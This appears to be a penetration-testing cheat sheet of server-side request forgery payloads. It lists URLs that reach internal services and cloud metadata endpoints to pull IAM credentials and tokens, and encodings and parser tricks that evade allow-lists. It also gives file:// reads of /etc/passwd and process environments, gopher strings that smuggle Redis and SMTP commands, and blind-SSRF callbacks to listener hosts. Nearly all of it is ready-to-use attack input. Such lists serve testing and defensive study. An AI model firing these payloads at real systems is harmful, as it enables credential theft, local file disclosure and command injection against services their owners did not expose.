web-pentest
SSRF — Server-Side Request Forgery
Server-side request forgery payloads — internal targets, cloud metadata (AWS/GCP/Azure), IP-encoding and parser-confusion bypasses, protocol smuggling (gopher/file/dict) and blind/parser-driven SSRF.
Basic Internal Targets (6)
http://127.0.0.1/
Loopback — reach services bound to localhost
http://localhost:6379/
Redis on localhost (frequently unauthenticated)
http://127.0.0.1:9200/_cat/indices
Elasticsearch index listing
http://[::1]/
IPv6 loopback
http://0.0.0.0:8080/
0.0.0.0 reaches local services on some stacks
http://[email protected]/
userinfo trick — looks external, resolves internal
Cloud Metadata (5)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv1 — list IAM roles
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
AWS — fetch the role's temporary credentials
http://169.254.169.254/latest/api/token
AWS IMDSv2 — PUT here first to get a session token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
GCP token (needs header Metadata-Flavor: Google)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Azure IMDS (needs header Metadata: true)
IP Encoding Bypass (6)
http://2130706433/
127.0.0.1 as a decimal integer
http://0x7f000001/
127.0.0.1 in hexadecimal
http://0177.0.0.1/
127.0.0.1 in octal
http://127.1/
Short-form loopback
http://[::ffff:127.0.0.1]/
IPv4-mapped IPv6 address
http://127.0.0.1.nip.io/
Public DNS name that resolves to 127.0.0.1
Parser Confusion & Redirect (5)
http://[email protected]/
Everything before @ is userinfo; real host is 127.0.0.1
http://127.0.0.1#@expected.com/
Fragment confuses naive host parsers
http://expected.com\@169.254.169.254/
Backslash parser inconsistency
http://10.10.14.1/redir (302 -> http://169.254.169.254/)
Open redirect to bypass allow-lists
http://allowed.target.com.attacker.com/
Suffix trick against weak allow-list checks
Protocol Smuggling (5)
file:///etc/passwd
Read local files when file:// is permitted
file:///proc/self/environ
Leak process environment (secrets) on Linux
dict://127.0.0.1:11211/stats
Talk to Memcached via dict://
gopher://127.0.0.1:6379/_SET%20k%20v%0D%0A
Smuggle a Redis command via gopher (RCE primitives)
gopher://127.0.0.1:25/_HELO%20x%0D%0A
Smuggle SMTP via gopher
Blind SSRF & Parser-Driven (4)
http://YOUR-ID.oast.fun/
OOB interaction (interactsh / Burp Collaborator) for blind SSRF
http://10.10.14.1/ssrf
Hit your own listener to confirm an outbound request
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="http://169.254.169.254/latest/meta-data/"/></svg>
SVG→PDF/PNG renderer SSRF
<!DOCTYPE x [<!ENTITY e SYSTEM "http://169.254.169.254/">]><x>&e;</x>
XXE-driven SSRF via an external entity
Related Articles
5
Web Hacking
JSON and YAML Unsafe Deserialization
Deep technical analysis of insecure deserialization across Java, PHP, Python, and Node.js …
Web Hacking
Supply Chain Attacks
Deep technical guide to software supply chain attacks — dependency confusion, malicious np…
Web Hacking
Cross-Site Scripting Mastery
Complete XSS guide covering all attack types, filter bypasses, CSP evasion, cookie stealin…
Web Hacking
File Upload to RCE
Complete file upload exploitation guide — MIME bypass, double extension tricks, polyglot J…
Web Hacking
Advanced SSRF
Complete SSRF exploitation guide — AWS IMDSv1/v2 credential theft, GCP/Azure metadata, bli…
